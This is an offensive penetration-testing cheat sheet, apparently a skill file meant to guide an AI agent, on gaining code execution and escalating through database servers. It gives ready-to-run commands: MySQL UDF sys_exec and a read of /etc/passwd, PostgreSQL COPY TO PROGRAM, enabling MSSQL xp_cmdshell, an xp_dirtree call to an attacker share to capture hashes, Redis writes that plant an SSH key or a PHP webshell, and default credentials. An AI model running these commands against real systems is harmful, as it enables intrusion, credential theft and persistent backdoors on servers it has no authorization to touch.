svc-database

Files (1)

• SKILL.md

SKILL.md (first lines)

# Database — RCE & Escalation Paths

Standard enumeration (connect, list DBs, dump users) — you know this. Below is what matters.

## MySQL → RCE via UDF
Requires FILE privilege + write access to plugin dir. Upload `lib_mysqludf_sys.so` → `SELECT sys_exec('id')`.
Also: `SELECT LOAD_FILE('/etc/passwd')` for file read.

## PostgreSQL → RCE via COPY TO PROGRAM
Requires superuser: `COPY (SELECT '') TO PROGRAM 'id';`
Alternative: large object import/export for file read/write.

## MSSQL → xp_cmdshell
If disabled (common): `EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;`
Then: `EXEC xp_cmdshell 'whoami';`
Hash capture: `EXEC xp_dirtree '\\ATTACKER\share';` → catch with Responder.

## Redis no-auth → RCE (two methods)
**SSH key write:**
```
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET payload "\n\nssh-rsa AAAA...your_key...\n\n"
SAVE
```
**Webshell (if web server co-hosted):**
```
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system($_GET['cmd']); ?>"
SAVE
```

## MongoDB / Elasticsearch — no auth = full dump
Both default to no authentication. Connect and enumerate immediately.

## Default creds worth trying
MySQL: `root` (no password), `root/root`. PostgreSQL: `postgres`/(empty). MSSQL: `sa`/(empty or common).

From s0ld13rr/pentestcode, MIT.

More from s0ld13rr/pentestcode